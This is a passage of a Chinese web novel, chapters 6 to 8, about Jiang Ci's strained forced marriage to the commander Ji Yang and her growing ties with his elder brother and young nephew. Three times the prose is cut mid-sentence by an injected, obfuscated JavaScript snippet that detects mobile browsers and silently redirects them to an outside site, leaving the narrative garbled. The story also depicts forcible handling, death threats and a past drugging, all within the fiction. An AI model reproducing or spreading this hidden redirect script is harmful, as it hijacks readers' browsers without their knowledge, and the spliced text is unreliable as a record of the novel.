“你不必装腔作势,也不必心存妄念。”
“我不会信你。”
“更不会爱你。”
6. 第 6 章
姜辞看着那柄贴近肌肤的剑锋,脖颈处被寒意激得泛起一层细密鸡皮疙瘩,却没有一丝退避。
她只是静静地看着他,声音轻得像是夜风:
“那你这一剑,怎不落下去?砍了我正如你愿。”
她抬眼望他,眸光清澈,仿若根本不畏死,反而在看他,究竟要如何羞辱她、又能羞辱到几分。
一时之间,姬阳竟未动。
他眼中掠过一瞬异样,随即冷笑一声,收剑入鞘,转身将扇子随手抛入火盆。
红光乍起,织金扇骨被燃成灰烬。
“本都督不碰你,是怕脏了手。”
他说完,拂袖而去,门帘掀起,又重重落下。
姜辞坐在红榻上,红烛映着她素白的面容,眼中却无泪无怨,只有一抹沉沉的、无人可窥的冷静。
她低头,将那被剑刃拂过的锁骨处轻轻按了按。
原本她以为,大婚时,姬阳不会来了。
次日清晨,姜辞依旧按礼起身,穿好衣裳,由银霜相伴,一路前往内院向姬夫人请安。
厅中红帐未撤,帘影低垂,姬夫人已坐在炕榻之上,身着月白绣梅的吉袍,精神奕奕,见姜辞进来,连忙招手让她上前。
“昨夜怎的?子溯那小子可是留下了?”
姜辞微微一怔,随即轻轻点头:“未曾。”
姬夫人叹了口气,语气中却并无责备,反而带着几分打趣意味:
“夫妻嘛,哪有不磨合的。你还年轻,记着一句话:床头打架床尾和。”
她说着,转头吩咐身边的嬷嬷,“去叫婆子夏嬷嬷过来,教教我们姜姑娘几招……相处之道。”
姜辞虽觉突兀,却也不好驳了婆母的面子,垂眸应道:“是,辞谨记夫人教诲。”
她心中却清楚得很:姬阳如今对她心存芥蒂,若贸然同房,反倒落人口实。不如静水深流,步步攻心。
入了午后,夏嬷嬷果然拎着一个红木匣子来了,笑得眼睛都眯成一条缝。
“夫人让我来教姑娘些贴己法子,将来日子才过得和顺。”她笑得意味深长,将匣子放在几案上,打开后露出一本精装画册。
姜辞疑惑翻开,下一瞬,脸颊便腾地染上一抹红。
画页上男女缠/绵之态,云鬓花颜、香肩曼腰,笔笔传情,意态香艳,竟是闺中教本。
夏嬷嬷捻着帕子笑道:“姑娘莫要害羞,这是咱们闺门里的规矩。女子入水,男子如铁,再硬的心肠,也禁不得柔情缠绕。”
姜辞抿唇,没说话,只低头静静翻着。
最初一两页,她还满面羞赧,指尖都不敢碰得太实。可渐渐地,眉眼却沉下来,目光落在画卷上的细节动作,竟看得仔细极了。
夏嬷嬷不知她心中所想,只当她初嫁新妇,便笑着起身:“姑娘慢慢看,奴婢就不打扰了。”
走前,还不忘交代一句:“这画册留给你,好生琢磨。明日若有一星半点效用,夫人定是欢喜。”
姜辞微颔首,将画册收起,回了自己的卧房。
帘内光线昏昏,她随手将那本薄薄的画册塞入枕下,手指触到书角时却忽地停住了。
她低声呢喃了一句:
“春情易动,攻心难守。”
夜色方浓,姬阳一踏入东阳侯府的大门,便被守在廊下的姬夫人截了个正着。
她手中执着一根细竹条,正一下下轻敲在掌心,声音不急不缓,仿佛击在骨头上,带着几分不怒自威。
姬阳眉头一皱,语气里带着一丝不耐:“母亲,我今日并未做错什么,也没惹您不高兴。”
“我可清清白白的。”
姬夫人哼了一声,抬眼瞥他一眼:“你是没做什么,可我看你也从没打算做点什么。”
“你那正室如今独守空房,你这个做夫君的怎么如此狠心?”
不等姬阳开口,她已转身下令:“来人,送二公子去新房与二夫人共进晚膳。”
姬阳终是被押去了姜辞院中。
门一推开,屋内灯火尚暖,姜辞正坐在矮桌前拈着茶盏,听到脚步声,她微微一怔,回头时目光中略带些惊讶。
姬阳站在门口,冷着脸,紧紧捏着拳头,眼睛冷冷盯着姜辞,恨不得射出钉子将姜辞鼎在墙上,过了半晌他才开口:“是母亲逼我来的,你别多想。”
“坐会儿我就走。”
语毕,他也不等她应声,径自在一旁矮榻前坐下,眉目间满是不情不愿,另一只手始终握着剑柄。
谁知下一刻,门外“咔哒”一声轻响,那是铜锁落下的声音。
姜辞微怔,站起身去试门,拉了两下,却发现门怎么也推不动。
而此时院外,姬夫人立于石阶之上,抬头望着夜空,一副神色自若的模样。
身旁站着晚娘与银霜,两人脸色皆带紧张,银霜犹豫片刻,小声问:
“夫人,这……都督与姑娘在屋里,锁了门……真的不要紧吗?”
姬夫人微微一笑,语气不紧不慢:“他们既然已经成婚,就是夫妻,迟早这屋门都要锁。”
“如今不过是帮他们提前适应罢了。”
“你们放心。”
“子溯再冷,也终归是个男人;姜辞再冷静,也是个姑娘,情投意合没那么快,可若不投,总要试试才知。”
她话音刚落,屋内隐隐传来姜辞一声:“这门……好像真的打不开了。”
姬夫人听罢,竹条轻敲掌心,悠然自语:“那就更不急着开。”
屋内,姜辞拉了半天门,未果,姬阳冷嘲一句:“真是弱不禁风,连扇门都拉不开。”
说着起身,走到她身边,语气不耐:“让开,我来。”
姜辞退到一旁,眼底带着一丝看好戏的意味。
姬阳握住门环,用力一扯门纹丝不动,他眉头一蹙,试着再扯两下,又换成往外推的方向推了推,结果还是纹丝不动。
姜辞抱臂倚在门侧,语气清淡:“被人从外头锁了,你叫人锁门了?”
姬阳皱眉,一脸不可思议,“我可没这癖好。”
两人对视片刻,气氛有些微妙,姬阳神色一沉,抬拳砰地一声砸在门板上,低声咬牙:“肯定是我娘干的。”
姜辞轻叹一声,状似无奈地道:“早知道就不让晚娘去添筷子了,也不至于落得你我孤男寡女困在一间房里。”
姬阳嗤笑一声,眼角寒光微挑,落在姜辞脸上,语气里尽是讥讽:“你倒说得像不是你设计的一样。”
语闭,他一步步逼近。
姜辞感受到扑面而来的压迫气息,心中一紧,不自觉地往后退。
可她刚退一步,姬阳忽地抬手,猛地扣住她的下巴,动作冷狠,声音低沉如冰:
“我娘把我们锁在一间房里,不就是为了这个吗?”
他话音未落,忽然一把将她抱起。
姜辞猝不及防,惊呼一声,两腿本能地乱踢挣扎:“姬阳,你疯了!你放开我!”
“你不能强人所难!”
姬阳面无表情,力道不重,却也不容抗拒,一路将她抱到床榻前,抬手一甩,将她丢在被褥之间。
姜辞被摔得一颤,撑着床沿立刻想起身,可姬阳已欺身而上,压住她的退路。
“你到底想做什么!”
她咬牙推搡,动作极快,二人扭作一团,混乱之间,枕下忽然滑出一角书本。
姬阳一眼瞥见,眼神一凛,抬手将那本书抽了出来。
封面无字,他眉头微蹙,随手翻开几页,下一刻神色骤变。
画面浓艳旖旎,衣带半褪,男女缱绻,情态暧昧得过分。
一时间,气氛如刀绷紧。
他猛地回身将书甩在地上,目光阴沉如夜,盯着姜辞咬牙低吼:“你还说不是故意的?”
“你和我娘一唱一和,把我关在屋里,就为了这个?”
“色诱我?!”
姜辞还未从方才的压迫感中缓过来,呆怔地望着那本书。
姬阳的声音冷入骨髓:
“我告诉你,姜辞,你休想得逞。”
“我对你,毫无兴趣。”
说罢,他弯腰将那本书重新捡起,狠狠丢回姜辞怀中,冷声道:“藏得真好,竟然藏在枕头底下,怕不是日日夜夜翻看。”
他理了理衣襟,转身走向矮榻前的饭桌,坐下,背对着她,像是看都不愿再看一眼。
姜辞坐在床沿,手里捧着那本书,神色复杂,真是天大的冤枉哦。
白日里夏嬷嬷交给她的那本闺中教本,本想闲时翻几页应付婆母,哪知一时疏忽,竟留在了枕下。
这一场荒唐误会,想解释也已无从解释。她甚至都不知,姬阳口中的色诱该从哪一句澄清。
等她回过神来时,才察觉自己的手指微微颤抖。
她低头望了一眼,轻轻抱住自己,像是想将这股发自本能的战栗压下去。
片刻之后,她缓缓吐出一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361263|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口气,伸手将发髻重新绾好,拢了拢领口的衣襟。
动作不紧不慢,却极其沉稳,仿佛那方才的一切失控,从未发生过。
她起身走回案前,袖口垂落,素手揭开食盒上的盖子,将一道道饭菜重新摆好。
灯火映在她眉眼之间,神情温淡,语气平静如常:
“既然是婆母一番好意,总不能白费。”
她没再看他一眼,却将这场羞辱与错愕,用极尽从容的姿态,生生压了下去。
“夜已深,不如先吃点吧。”
“至于门,自然等到天亮,也就开了。”姜辞说这句话的时候,语气有些哽咽,但是她没表现出来。
她不再看他,只俯身替他斟了杯温茶,落座时眉目如水,举止娴静。
姬阳目光一扫,桌上只摆了一副碗筷。
姜辞只淡淡道:“我下午吃了些果子和点心,不饿。”
“况且,都督也未必想与我同桌用膳。”
说罢,她走到书案旁,指尖轻拂灯盏,添了一炷灯芯,将昏黄灯火调亮几分,随后拣了本书坐下,静静翻阅起来。
她不言不语,神情沉静,灯火映在她侧脸,清淡恬然,竟有几分不食人间烟火的味道。
姬阳斜睨她一眼,冷声道:“装模作样。”
姜辞头也不抬,语气平静:“这是晚娘家乡的菜。”
“我每次想吃南疆的味道,都会让她烧一桌。”
姬阳没说话,拿起筷子,随手夹了一筷子菜送入口中。
一入口,味道竟意外地合他胃口,酱香浓郁,带着些微的酸辣,又不失温润。
姜辞其实不知道他今晚会进来用膳,但她叮嘱晚娘,不要做凉州菜。
她知道,那三年为质的日子,估摸着他吃过的,多半都是凉州的冷饭冷汤,世上哪有人愿意一再回味自己的屈辱。
屋内静得只剩下翻书声与偶尔的碗筷碰响。
他默默吃了几口饭,最终还是放下筷子,靠坐在软垫上,目光落在她身上,眼神莫测。
姬阳沉默片刻,忽然开口,语气不高:“我要洗漱更衣。”
姜辞伏案而坐,指间正拈着一页纸角,闻言似未听见,连眼皮都未抬一下。
屋内静了片刻,姬阳迈步上前,站在她案前,居高临下,手掌撑在书案一角,声音低了几分,却透着隐隐压迫:“我说——我要洗漱、更衣。”
这一回,姜辞才慢悠悠抬眸,看了他一眼,语调懒散:
“哦。”
一字而已,既无回避,也无回应。
她垂眸复又低头,将那一页纸翻过,仿佛他这句话,只是窗外夜风吹过,微响无痕。
姬阳眉峰微蹙,目光如锋,却终究未说什么。
他伸手松开衣带,玄衣落地,里衣随之而褪,只留薄衫在身,屋内微微晃动的烛光,将他肩背线条投映在地,冷峻如刻。
他再言一声,语气比方才更缓,却更冷:“我要洗漱。”
姜辞依旧目不斜视,连翻书的动作都不带顿一下,语气轻得几乎要随风飘走:
“我听到了。”
“你说了三遍。”
只抬手往桌旁一指:
“浴桶在那里。”
姬阳神色一顿,盯着她片刻,终究还是没说什么,只冷哼一声,转身走到屏风之后。
片刻后,薄衫也落地。
洗罢身后,姬阳站在屏风后略一皱眉,屋内竟无人替他备衣。
他原本还想出声唤人,但透过薄薄的屏风望着那正伏案看书的姜辞,薄唇动了动,终究没说出口。
目光一扫,只见屏风边钩上悬着一方素白浴巾,绣着淡梅,分明是女子所用。
他沉了片刻,冷着脸走上前,手一伸,将那条浴巾拎了下来,简简单单地裹在身上,从肩到膝,束得死紧,活像个不太灵活的白粽子。
他刚一走出屏风,正好撞上姜辞合上书页抬头。
那一眼,她看得清清楚楚,姬阳那张冷峻俊脸沉得如深潭,目光一扫,冷声道:“不许笑。”
姜辞抿唇不语,眼底却带着明显的忍笑余光。
姬阳眯了眯眼,语气低沉地补上一句:“你若敢说出去……我就杀了你。”
那语气,不似玩笑,姜辞眨了眨眼,认真地点点头。
姬阳冷哼一声,走到床榻旁边,一边拎起被子,一边随手把枕头往里推了推。
“我睡床,你去睡地上。”
7. 第 7 章
姜辞并未争辩,只低头应下,她在梳妆台前静静解了发髻,乌发披落,衬得肩颈纤细。
随后起身,从柜中取出一床薄被,铺在床榻一侧的地毯上,动作轻缓,不惊不扰。
姬阳背对着她,已躺上榻,被子裹得严严实实,姿态僵硬,像是在防着什么。
姜辞瞥了他一眼,未语,只熄了最后一盏灯,也躺了下去。
夜深,万籁俱静,两人皆背对而卧,像是两尊沉默的石像,各守一隅。
姜辞却始终难以入眠,她侧身蜷缩,望着不远处的书案发呆。
脑海中不自觉地浮现出紫川城的春雨、父亲的眉眼,还有谢归璟少年时追着她跑过竹林的模样。
那些,像一层旧梦,再也回不去了。
忽然,榻上传来一阵细微的低语。
她一怔,坐起身来,侧耳倾听。
姬阳眉头紧皱,面色苍白,神情痛苦,嘴里含混不清地低喃着什么。
姜辞起身靠近,才听清他一遍遍念着:“好冷……好冷……”
她以为他是夜寒侵体,便转身又从柜中取了另一床被子,悄然替他盖上。
可即便被子加了,他依旧喃喃重复那两个字,声音里带着颤意,指节紧扣着被角,像是怕有人将他拖入深渊。
烛影未灭,姜辞看得分明,一滴泪,从姬阳眼角悄然滑落,没入枕褥。
她微怔。
那不是怕冷,那是怕……
是他梦回为质三年的旧日噩梦。
她忽然明白了,此刻横在他们之间的,根本不是两人曾经对立,而是他这辈子可能都无法抹去的伤。
她蹲下身,趴在榻前,隔着锦被轻轻覆上他的胸口,掌心一点一点抚过,像在替他拨开深埋的寒意。
她轻声念着:“不冷了……不冷了……”
“你已经回家了。”
声音温柔,几不可闻,像是一缕风,又像一线春水。
她一遍又一遍,耐心念着,声音越来越低,却越发坚定。
不知过了多久,姬阳的眉头终于缓缓舒展,脸色恢复平静,呼吸也渐渐均匀。
姜辞松了口气,轻轻收回手,回到自己的铺上,再未出声。
姬阳他的心披着甲,却全是伤。
她闭上眼,只觉得一阵心疼。
翌日天微亮,灰白晨光透过窗纸洒入室内。
姬阳睁开眼,神色仍带着几分疲意。翻身坐起时,他才发现身上多出了一层薄被,颜色与原本不同,边角隐隐还带着女子的香气。
他眉头轻蹙,低头朝地上一看,姜辞蜷缩在一旁的小褥上,侧身而卧,发丝散落,神情安静,竟还睡得沉。
姬阳不悦地撇了撇嘴,将那床被子一把扯下,抖开,顺手丢回她身上,语气虽未出口,动作却透出几分不耐。
他轻手轻脚地下床,穿好昨夜挂在椅背上的衣裳,走到门前,拉了拉门栓,果然已经打开。
门外,晚娘与银霜早早候着。
姬阳刚迈出一只脚,忽又顿住,压低声音道:“等一下。”
两人一怔,不知他所为何意。
只见姬阳关上门转身又折返回去,站在姜辞身侧,伸出手,迟疑片刻,终是弯腰将她整个人轻轻抱起。
她身体微微一颤,却没有醒。
他将她安稳放回床上,动作不甚熟练,却下意识地避开了她的手脚,似是不愿碰她丝毫。
地上的褥子和被子被他胡乱卷起,一并塞进一旁的柜中,动作潦草又含着些隐晦的烦躁。
收拾妥当,他这才重新拉门走出,面无表情地对站在门口的二人低声吩咐:
“她还没醒,昨夜折腾得晚。”
“你们先在门外候着。”
说罢,他站在台阶下,似随意地伸了个懒腰,骨节“咔”地响了一声,眉梢一挑,嘴角勾起一抹若有若无的弧度。
他当然知道,母亲不会亲口问姜辞昨夜如何。
可她定会从下人嘴里探风。
既如此,他便提前布下这一局,既回应了母亲的期待,又堵住了她继续将他二人锁在一个屋里的念头。
走出几步后,他神色未变,步履如常,心中却不知为何,竟有几分莫名沉闷。
屋内,姜辞刚一听见门外动静,便睁开了眼。
她翻身坐起,低头理了理鬓角发丝,唤道:“晚娘,银霜,进来吧。”
两人闻声推门而入,看着床上凌乱的痕迹,一脸笑意,眼神里都带着些压不住的调侃与喜色。
银霜憋笑着上前替她打理头发,晚娘则一边铺垫衣物,一边调笑道:
“我们阿辞如今是正经的大姑娘了。”
姜辞听得出她话里的暗示,刚想解释,却被打断。
屋外又走进来一个府中婢子,笑着行礼道:
“姬夫人说水已备好,吩咐我们伺候二夫人沐浴,说昨夜劳累,该好好泡一泡。”
姜辞一顿,原本想出口的话咽了回去。
她低声应了句:“辛苦了。”
待人退下,她转身看了一眼那张宽大的床榻,低低叹了口气,唇角却慢慢翘起一抹无奈的笑:
“罢了,不解释了,至少今晚,不必再睡那又硬又凉的地板了。”
姜辞梳洗妥帖,步出院门,朝着姬夫人所居的院落缓步而行。晨光初上,枝叶掩映间有鸟雀轻啼,一路宁静安和。
才至院前,远远便见几名家仆正来来回回地搬东西,大箱小笼俱往院外车旁送去,前院已有一辆马车停妥。姬夫人正站在台阶上,一一指点交代,神色从容。
姜辞心中微讶,连忙趋步上前,行了个礼,温声问道:“婆母今日这是……要出门吗?”
姬夫人闻声回头,一眼瞧见她,眉眼柔和几分,走下台阶,亲自伸手牵住她的手,语气里透着关切:
“昨夜一定乏了吧,怎么这般早就起来了?你如今是新媳妇,正该多歇歇才是。”
姜辞柔声答道:“醒得早,想着来给母亲请安。”
姬夫人笑了笑,轻轻拍了拍她的手背,才道:“你来得正巧,我要去趟太平侯府。子溯他表哥近来卧病,我想着过去照料几日,估摸着得小住半月。”
姜辞一怔,轻声道:“竟如此突然。”
“这事儿早就说好,只是我记性不好,今日起身才想起来。”姬夫人一边说着,一边命人再将备好的熏炉抱进马车。
姜辞站在一旁,眸光不动声色地扫过那些被抬出的东西,心里却浮上一丝莫名的惶然。她知晓,在这偌大的东阳侯府,姬夫人是她唯一的依仗。平日里看似温和,其实她与姬阳之间那层脆薄的关系,能勉强维系着不崩裂,全赖姬夫人在中间调和。
可若这位主母一走……
似乎是看透了她心中所想,姬夫人回头看她一眼,语气柔中带着一丝不容质疑的笃定:
“你莫要担心。你既已嫁进这门来,这侯府里,便是你的家。我不在,许多事你自然该拿主意。男人打理外头风风雨雨还行,内宅家中琐事,哪里懂?子溯若欺负你,你就写信,让人送到太平侯府,我回来总能好好收拾他。”
姜辞心中一动,勉强扬唇,轻声道:“我记下了。”
姬夫人目光缓缓扫过她的面容,沉吟片刻,又补了一句:
“夫妻之间,终归要有一个人先迈出那一步。子溯他……性子是冷的,但不是个无情之人。”
话音落下,像是无意一句,又像有意提醒。
姜辞微微一怔,低下头应道:“儿媳明白。”
姬夫人不再多言,见马车已备好,便转身登车。姜辞送她一路至府门,目送那马车驾缓缓驶出,直到尘烟散尽。
春光正好,院墙外的梧桐树在风中沙沙作响,像一声声低语,回荡不休。
她终是轻轻叹了口气,转身回到自家院中,裙角未及入门,便听见一道熟悉而清亮的声音自廊下响起:
“姜姐姐——!”
声音一如既往地欢快,夹着孩童特有的依恋。
门外,姬云梵踮着脚站在阶下,眼巴巴地望着屋中,手中还抱着一只叠得不甚工整的纸鸢。竹娘见状,轻轻拍了拍他的肩膀,低声提醒:
“小少主,二夫人如今已是你二伯母了,不能再唤姐姐了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361264|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姬云梵仰起小脸,眉头微皱,认真地说:“可她看起来就很年轻,我还是想叫姜姐姐。”
竹娘见他语气倔强,笑了笑,也就未再多言。
姬云梵一把抱住她的腰,仰头笑道:
“姜姐姐,我好想你!你今天能陪我玩吗?”
姜辞微微一笑,俯身理了理他衣领,柔声道:
“那阿梵想玩什么呢?”
“我想放纸鸢!”他说得毫不犹豫。
姜辞笑意更深:“那好,我们便放纸鸢。”
稍后用过早膳,竹娘拿着收拾好的纸鸢过来,行了一礼道:
“二夫人,都督早有吩咐,小少主不得离府。府中地势开阔的地方,唯有大公子院后空地最宜放纸鸢,那里四下无遮,风势也好。”
姜辞微一点头,道:“既如此,便去那处。”
竹林空地,风朗日和。
姜辞挽着袖子,正在空地上教姬云梵放纸鸢,小少主跑得欢快,纸鸢飞得极高,尾线被风牵得笔直,蜿蜒如云上青龙。
阳光洒落,映在姜辞的侧脸上。她轻扶云梵的肩,眉眼弯弯,唇边浮着浅笑,眼中映着满天清光。
不远处的廊下,一道身影悄然伫立。
正是姬家大公子姬栩。
他原本半倚在榻上静读医籍,忽听院外传来一阵阵欢笑声——不若平日婢仆嬉闹,却带着孩童的清朗与女子的温婉。
他抬头,微侧身问身旁的小厮:“是谁在后头空地?”
那小厮应声而去,未过片刻便回禀:“回大公子,是二夫人与小少主在放纸鸢。”
姬栩闻言轻轻一笑,合上手中书卷,语气清淡中带着几分久未有的惬意:
“今日果然是好天气,也该出去吹吹风了。”
他便起身披衣,步伐虽不急,却极稳。
穿过长廊,踏过竹影斜斜的小径,当他走至后院边缘,便见空地之上,女子与孩童正在嬉笑奔跑,纸鸢高悬如云,春光明媚,人影翩然。
他脚步在青砖廊前缓缓停住。
远远望去,姜辞衣袂摆动,鬓发轻扬,眉间带笑,不似新妇拘谨,反倒像个少女。
阳光正好,她仰头看天,眼底明澈如水。
姬栩立在廊柱之后,未出声,也未惊扰,只静静地望着那一幕。
眉眼间的疏淡神情,仿佛被这瞬间微微拨动。
他低声道了句:“竟不觉……她笑起来,竟这般好看。”说完这句话,忽然意识到失礼了,立马收了笑容。
风拂过竹影,他站在其中,目光温柔,眉宇间却藏着一丝久未动摇的波澜。
正欢笑着奔跑间,忽听“啪”地一声轻响。
纸鸢线断了。
那只原本高高飞起的纸鸢倏然失去束缚,在半空中一个旋转,随风远去,越飘越高,越飘越远。
姜辞与姬云梵一同停下脚步,仰头望着那道斜斜远去的残影。
姬云梵眼中光芒一黯,垂下头,小小的脸上露出一抹失落。
姜辞低下身,轻轻抚了抚他柔软的发顶,柔声安慰:
“没关系,等下我再给你画一只。你想要什么样子的?”
姬云梵闻言一愣,眨了眨眼,试探着问:“真的?什么都可以吗?”
姜辞点了点头,笑意温软:“当然。”
小少主眼睛一亮,像是又重新燃起了兴致:
“那我想要一只老鹰!”
“我二伯有一只鹰,又猛又飒,我也想有……以后我也要像他一样,当个威风凛凛的大将军!”
姜辞轻轻应了一声:“好。”
她指尖顺着他发顶轻抚,眼神中浮出一抹柔光。
正欲再言,一抬眸,却忽见廊檐之下,立着一道修长的身影。
那人着浅色常服,鬓发微束,站姿颀然静雅,正默然望着她与姬云梵,眸光温润如昔月秋水。
正是姬栩。
他并未作声,亦未回避,只静静立在廊下,像是不忍打扰,又像本就在等这一眼。
姜辞怔了怔,下意识将衣袖垂顺,盈盈俯身,行了一礼:
“见过大哥。”
8. 第 8 章
姬栩闻言,微微一笑,语气温和清雅:
“我瞧着今日春色甚好,便想着出来走走透透气。恰巧听见你们在此放纸鸢,便未曾上前打扰。”
姜辞闻言起身,略略一礼,声音柔和:“是我们扰了大哥清净,实在失礼。我与阿梵这便回去了。”
姬栩轻轻摆手,话语中带着从容温雅的挽留:
“无妨,院中本就清静,偶有笑声,更添几分生气。”
他目光落在姬云梵手中的断线上,又道:
“方才听见你说要画一只新的?我院中正好备有笔墨、纸张,还有几幅未裁的绢布,我让人都拿来,便在这里作画罢。也省得阿梵再跑动,时候也快近午,画完便可用膳。”
姜辞微一怔,眼中露出一丝迟疑。
毕竟这是姬家大公子的内院,她虽为人妇,终究是新入门,理应避嫌。
她正欲婉拒,姬栩已似看出她的顾虑,淡淡一笑,语声从容:
“弟妹不必多想,这府中人心我清楚,无人敢妄议。”
“况且,我与子溯素来亲厚,他向来疼阿梵。你照看阿梵,他更不会说些什么。”
姜辞略一思量,微微颔首,笑道:“那便叨扰大哥了。”
姬栩点头,吩咐下人将庭中小案搬至廊下,又命人去取笔墨与清茶。
竹娘贴心地去备点心,不多时,纸笔、画帛、茶盏俱已备妥。
姜辞落座于院中石案旁,阳光掠过竹影,暖意融融。
姬栩缓步走近,在她对面落座,抬手挽起宽袖,亲自替她研墨。
姜辞望着他,眸中闪过一丝诧异。
“这等小事,怎敢劳大哥亲手?”她轻声开口,语气中带着一点不自在。
姬栩却只一笑,声音温润如春水拂玉:
“都是闲事,我闲着也是闲着。”
“带兵打仗,舞刀弄枪我不擅长,但这研墨一事,我自幼熟得很。”
他话语不多,举止有度,连袖边都不曾碰到案上一寸,只见砚中墨色渐浓。
姬栩看着不远处的姬云梵,神情温柔,语声低缓:
“你既肯陪阿梵玩,反倒是我该谢你才是。”
“我的身子,常年缠绵病榻,陪不了他太久。他一个人在这府中,年岁虽小,却总是懂事得过了头……若是他娘还在,他本不该这样孤单。”
他说得极轻,尾音淡淡,却藏着一点近乎不愿提及的哀色。
姜辞闻言,立刻温声道:
“大哥不必多虑。若我闲时无事,自会抽空多陪阿梵说说话、画画纸鸢。”
她顿了顿,又补了一句,语气极是柔和体贴:
“再过几年,阿梵便也要跟着二伯入军营了,军营中那么多男子,他一定不会孤单。”
话未落,姬栩的神色微微一敛。
他的指节在衣袖下轻轻收紧,眼中掠过一丝不易察觉的迟滞。
从军二字,对旁人而言或许是荣耀,于他而言,却未必是期许。
姜辞心中微动,眉眼间不动声色地略作转折,唇边一笑:
“阿梵,你不是说想要一只很威风的老鹰?”
小少主此时刚捧着一碟芝麻点心凑上前来,咬着一口脆皮笑嘻嘻地说:
“我想要很凶的,眼神要狠,爪子要尖的!”
“要那种一飞上天,所有人看了都怕的!”
姜辞莞尔,点了点头:“好,那我便画一只最凶的给你。”
她执起画笔,轻轻蘸墨,低头落笔,神色渐沉静。
墨色洇开,水渍晕染于白绢之上,一笔笔起落有致。
她垂着睫羽,神情专注,唇线温润,鬓边发丝轻垂于颊侧。
姬栩坐于案对,目光本在砚上,无意一抬,视线恰落在她眉目之上。
那一刻,他忽地怔了一瞬,又立马垂下头,伸手招来下人将他扶起,走到院中不远处的长榻上坐下。
姬云梵围着案几,盯的认真。
姬栩一时走神,脑中忽地浮现出那段他向来不愿提及的往事。
那是九年前。
他尚未及冠,那时的丰都正值春宴,他与几位勋贵子弟饮酒听曲,少年心性,饮得略多。
酒过三巡后,便觉浑身燥热,气血翻涌,脑中昏沉得厉害,仿佛有什么气息在体内乱撞,四肢无力,意识渐渐模糊。
他记得自己挣扎着想离席,却被一只手扶住了臂膀,引着他走进了一间静室。
后面的事,他记不得了。
只记得第二日醒来,日光照进屋内,薄被轻覆,他衣衫不整地躺在一张香气四溢的榻上,身侧是一个熟睡的女子。
她生得不算惊艳,但眉眼妩媚,唇角微抿,带着不掩的得意,姬栩记得她,她是酒肆里的一名乐师。
他几次去酒肆,素来只与朋友饮酒听曲,从未叫过女子作陪。
那女子叫什么名字,他始终记不得。
那一日之后,他便未再回过那处酒肆,只道是一场被人算计的荒唐,不提也罢。
谁知半年之后,那女子竟挺着肚子找上东阳侯府,言称腹中孩儿乃姬家血脉。
姬夫人闻之大怒,但面上仍稳住体统。那女子到底已有身孕,终究不能声张,只得分出一个偏院安置,许她在府中待产。
可她的出身,终究不配列入姬家妾室,身份悬在尴尬之间。
待姬云梵出生,府中给了她最好的衣食用度,却未能给她应有的名分。
她也从不快乐,眼神里常有怨怼之意。
云梵三岁那年,她悄然随一外来的商人离府,自此杳无音讯。
连句告别也未曾留下,姬云梵曾小声问他:“娘亲呢?”
他只是抚着孩童的头,轻声回答:“她不在了。”
“画好了。”
姜辞的声音轻轻传来,将姬栩从回忆中唤回。
他轻轻一震,抬眸望去,只见姜辞正将手中画纸轻轻放下,唇边带着一抹柔和的笑。
他微微一笑,低声道:“多谢。”
姬云梵小心翼翼地接过画好的纸鸢,欢欢喜喜地奔向竹娘,扬声道:
“竹娘,快来帮我糊上竹片,我要让它飞得最高!”
竹娘笑着应了,俯身捋了捋他的衣角,温声说:“小少主稍等,我这就叫人去拿浆糊。”
她转身离去的脚步稳而快,显然早已熟稔这种事。
片刻后,纸鸢做好,姬云梵捧着满脸期待地看向姜辞:“姜姐姐,现在可以放了吗?”
姜辞轻轻摇头,温声解释:
“今日还不能放,要等三日,让墨迹干透、竹骨定型后,才飞得稳当。”
小少主嘴一撅,语气里满是失望:“哦……那好吧……”
竹娘正好回来,笑着看着他们,道:
“也差不多是用午膳的时候了,二夫人不如留下来一并吃吧?听说您这些日子都吃的是晚娘做的小灶,还没尝过我们丰都的菜色,今日正好试试。”
姬云梵也拉住姜辞的手臂,仰头央求道:
“你就留下来吧,好不好?我想让姜姐姐陪我……”
姜辞略一迟疑,抬眸望向姬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361265|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
栩。
后者微微颔首,眉目温和,做了个请的手势,语气也轻缓:“院中清净,不如一并坐吧。”
三人便一同在院中落座。
清风吹动竹影,石案上铺了浅纹白瓷,菜肴精致,色香俱佳,与凉州粗犷辛烈的口味大为不同。
姜辞原本只想象征性动两筷,未曾想入口清爽馥郁,竟比想象中合胃口得多,不觉间便多夹了几口。
竹娘站在一旁,看着她那副不动声色却实则吃得香的模样,眼角悄悄漾出一丝意味深长的笑意,转而望向姬栩。
她含笑开口:
“二夫人平时也常一个人吃饭。若日后奴婢这边做了什么可口的饭菜,不妨唤她来一同吃上几口。小少主定然最开心。”
她话说得妥帖,既顺了孩子的心思,也不动声色地替主子留了情面。
姜辞抿唇一笑,轻轻点头。
